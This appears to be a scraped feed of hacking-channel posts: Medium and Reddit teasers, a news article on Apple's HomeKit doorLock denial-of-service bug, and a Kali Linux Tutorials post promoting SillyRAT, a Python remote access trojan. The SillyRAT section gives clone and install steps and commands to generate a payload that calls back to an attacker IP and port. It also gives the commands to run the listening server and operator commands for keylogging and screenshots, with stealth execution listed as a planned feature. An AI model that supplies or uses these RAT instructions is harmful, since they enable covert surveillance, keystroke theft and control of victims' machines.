PHP Type Juggling
https://medium.com/@shubhamkumarks1999/php-type-juggling-1c6a35ffe3ee?source=rss------bug_bounty-5

PHP is the dynamic language that checks variables when the program is executing and provides flexibility to the developers. But this…Continue reading on Medium » (https://medium.com/@shubhamkumarks1999/php-type-juggling-1c6a35ffe3ee?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
SillyRAT : A Cross Platform Multifunctional (Windows/Linux/Mac) RAT

SillyRAT is a cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.

Features

* Built-in Shell for command execution
* Dumping System Information including drives and rams
* Screenshot module. Captures screenshot of client screen.
* Connection Loop (Will continue on connecting to server)
* Currently, it uses BASE64 encoding.
* Pure Python
* Cross Platform. (Tested on Linux. Errors are accepted)
* Source File included for testing
* Python 3

To be expected in future

* Stealth Execution
* Encryption
* Storing Sessions from last attempt
* Pushing Notifications when a client connects

Installation

The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:

$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt

Documentation

Generating Payload

You can get the payload file in two ways:

* Source File
* Compiled File

The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file:

$ python3 server.py generate –address 134.276.92.1 –port 2999 –output /tmp/payload.py –source

The compiled version has to generated on the respective platform. For example, you can’t generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:

$ python3 server.py generate –address 134.276.92.1 –port 2999 –output /tmp/filer
https://blogger.googleusercontent.com/img/a/AVvXsEiiP2rvzroiFqVPQF7nWfOPFi6UtI8H9OHIp0lo6YikdUKty-79fwFmkRDHYPpZShCdOmz1Hwbm_dGu6HRfSbEjOwaanhRrbzYJuIO-5b9RYAlE9dL6IKLAmgWG9wNR1wSLE25a_mCq_OfbDHu6_5Y3NijJ6fXYOIb6EfFcc0Eh41Nq2W3e7bLE3Hvs=s1882
Replace your IP Address and Port on above commands.

Running Server

The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn’t store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:

$ python3 sillyrat.py bind –address 0.0.0.0 –port 2999

Connections

All the connections will be listed under sessions command:

$ sessions
https://blogger.googleusercontent.com/img/a/AVvXsEjHaNcteXtCI1tPmYXHv11PvTg9RZJV7YOiX95Yid-ay4lTP_XyZIbmVM3NOgoaNUYCcOwuF8BXE8YYO_jNqRJ0M2LFpMSkLY9SrrkPcQG3sRppy-DTdunWwZpfNhWk61MLSIEAhGmtdUZBlV4SioruK2pC0IBY__jPRXSgWetxC9upn1O8WNCXU7VY=s1882
You can connect to you target session with connect command and launch one of available commands:

$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot
https://blogger.googleusercontent.com/img/a/AVvXsEh3qze1H8xzlDogM1Ppjh5p79QIBDuBffor6UpS4HsN9d9NFMhriOiS02-gWFpVt2bVIECfLUR8Jx4UJj6pIMIv7MjoxlIxamrEWNFCOG1mK2nEuPVZoM2lDXqNFUK1qAgHgjWRM-S8Ozj3mSGwrZhTLbQPDbk0WRWKctik7gXHVeSGOInpSeaosRhR=s1882
Help

Get a list of available commands:

$ help

Help on a Specific Command:

$ help COMMAND
Download

___________________________
@hacking_Attack
@Hacking_Video

Wading Through Muddy Waters | Recent Activity of an Iranian State-Sponsored Threat Actor
https://www.reddit.com/r/redteamsec/comments/s2t2qs/wading_through_muddy_waters_recent_activity_of_an/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/) [comments] (https://www.reddit.com/r/redteamsec/comments/s2t2qs/wading_through_muddy_waters_recent_activity_of_an/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can anyone provide some context for possible phishing attempts?

I received an anonymous phonecall from a number in the phillipines. I answered and noone was there. looked it up, but it wasn't registered to anyone. What is this? I've heard it's a "ping". Why would someone do this?

I also received a random email with a pdf document. How do you sanitize a pdf?

submitted by /u/Direct_King_336
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Cloud Apps Replace Web as Source for Most Malware Downloads

https://external-preview.redd.it/-Ipiyum5usQ0t42sP8QsZ9JravoKR3q9kGtcW6vY7Bg.jpg?width=640&crop=smart&auto=webp&s=d44ed158d8adb81b8d19d22c6952330ae4e18d34 submitted by /u/AlbertineVierra121
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Psychology of Cyber Criminals

https://cdn-images-1.medium.com/max/2600/1*9p1d9YWBc-qoDOS_H5j2qg.jpeg
What is behind their Mindset?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Corporate Espionage with Shodan

https://cdn-images-1.medium.com/max/1920/1*q5dDBFOuKR2_-Yt8S7gtVw.png
I want to preface this article with saying, please do not do use any of this information to do ANY sort of crime.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

My Perfect Bug Bounty Docker Setup

I hate installing things on my computer because of the bloated slow mess it becomes overtime. So when I found out about docker I fell in…Continue reading on Medium »
Read more...

My Perfect Bug Bounty Docker Setup
https://medium.com/@james_21337/my-perfect-bug-bounty-docker-setup-f6441f236a2d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

I hate installing things on my computer because of the bloated slow mess it becomes overtime. So when I found out about docker I fell in…Continue reading on Medium » (https://medium.com/@james_21337/my-perfect-bug-bounty-docker-setup-f6441f236a2d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Apple fixes doorLock bug that can disable iPhones and iPads

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Apple fixes doorLock bug that can disable iPhones and iPadsPost Views: 93 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute
Apple has released security updates to address a persistent denial of service (DoS) dubbed doorLock that would altogether disable iPhones and iPads running HomeKit on iOS 14.7 and later.
HomeKit is an Apple protocol and framework that allow iOS and iPadOS users to discover and control smart home appliances on their network.

As the company explained in a security advisory issued today, the doorLock vulnerability tracked as CVE-2022-22588 will crash affected iOS and iPadOS devices when processing maliciously crafted HomeKit accessory names.

Apple has addressed this severe resource exhaustion issue in iOS 15.2.1 and iPadOS 15.2.1 by adding improved input validation which no longer allows attackers to disable vulnerable devices.

Devices that received security updates today include iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).

“Four months ago I discovered and reported a serious denial of service bug in iOS that still remains in the latest release. It persists through reboots and can trigger after restores under certain conditions,” Trevor Spiniolas, the programmer and “beginning security researcher” who spotted and reported the bug.
See Also: Complete Offensive Security and Ethical Hacking Course “All the requirements are default settings. When someone sets up their iOS device, everything is already in order for the bug to work. If they accept a malicious home invitation from there, their device stops working.”
See Also: Microsoft: New critical Windows HTTP vulnerability is wormable Fix delayed since AugustAccording to Spiniolas, Apple has known about doorLock since August 2021, 2021, but pushed the security update multiple times despite repeatedly promising to fix it.

“I believe this bug is being handled inappropriately as it poses a serious risk to users and many months have passed without a comprehensive fix,” Spinolas said.

“The public should be aware of this vulnerability and how to prevent it from being exploited, rather than being kept in the dark.”

The researcher says attackers would have to change the name of a HomeKit device to large strings of up to 500,000 characters and trick the target into accepting a Home invitation.

Once the target joins the attacker’s HomeKit network, their device becomes unresponsive and eventually crashes.

The only way to recover from such an attack would be to factory reset the disabled device, given that it will once again crash after restarting and signing back into the iCloud account linked to the HomeKit device.
See Also: Offensive Security Tool: Osmedeus Zero-day patches also delayedIn September, software developer Denis Tokarev also dropped proof-of-concept exploit code for three iOS zero-day flaws on GitHub after Apple delayed patching and failed to credit him when patching a fourth in July.

One month later, with the release of iOS 15.0.2, Apple fixed one of the ‘gamed’ zero-day vulnerabilities reported by Tokarev.

However, Apple didn’t acknowledge or credit him for the discovery and also asked him to keep quiet and not disclose to others that the company failed to give him credit for the bug.

Other security researchers and bug bounty hunters have also gone through similar experiences saying th[...]

___________________________
@hacking_Attack
@Hacking_Video

at they have been kept in the dark for months on end with Apple refusing to reply to their messages.
See Also: Hacking stories – Rafael Núñez (aka RaFa), hacking NASA with the hacking group: World of Hell
Source: www.bleepingcomputer.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/0_Windows-headpic-90x90.jpg Microsoft: New critical Windows HTTP vulnerability is wormable1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/powerdir-exploit-microsoft-90x90.jpg Microsoft: powerdir bug gives access to protected macOS user data2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/using-npm-create-javascript-icon-libraries-90x90.png Dev corrupts NPM libs ‘colors’ and ‘faker’ breaking thousands of apps3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-7-90x90.jpg Partially Unpatched VMware Bug Opens Door to Hypervisor Takeover6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Apple-iPhone-13-Pro-90x90.png iOS malware can fake iPhone shut downs to snoop on camera, microphone7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/0358ad020c37-article-cache-poisoning-article-90x90.png Researcher discovers 70 web cache poisoning vulnerabilities, nets $40k in bug bounty rewards1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/1200x0-90x90.jpg Apple iOS vulnerable to HomeKit ‘doorLock’ denial of service bug1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/exchange-90x90.png Microsoft releases emergency fix for Exchange – 2022 bug1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/maxresdefault-90x90.jpg Have I Been Pwned adds 441K accounts stolen by RedLine malware2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/1229111902.0-90x90.jpg T-Mobile says new data breach caused by SIM swap attacks2 weeks ago
The post Apple fixes doorLock bug that can disable iPhones and iPads first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Getting into a locked iphone

Hello there im a long time lurker of this subreddit and recently my mother asked me about if i can get into a locked iphone, it belongs to one of her students sister who passed away under unfortunate circumstances, so her family really wants to see her last messages and such. I adviced them to go to apple support to see if they can help since i think they might be the ones with the best shot at extracting the messages. Otherwise i was thinking if you could backup the files using a pc with apples backup files feature and then add those to my old iphone and through that to be able to access the messages.

submitted by /u/That_bakedpotato
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video